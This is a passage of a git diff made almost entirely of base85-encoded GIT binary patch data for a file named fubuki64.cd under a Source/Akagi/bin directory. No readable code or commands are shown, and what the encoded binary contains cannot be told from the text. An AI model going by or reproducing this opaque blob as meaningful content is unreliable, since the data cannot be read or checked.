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 diff --git a/Source/Akagi/bin/fubuki64.cd b/Source/Akagi/bin/fubuki64.cd index 8eda18f55aefc8beb82344c15dc1e620a078eff2..e3b693e8f40ecd97ca0c889acbdf23e8df12c23a 100644 GIT binary patch literal 11849 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 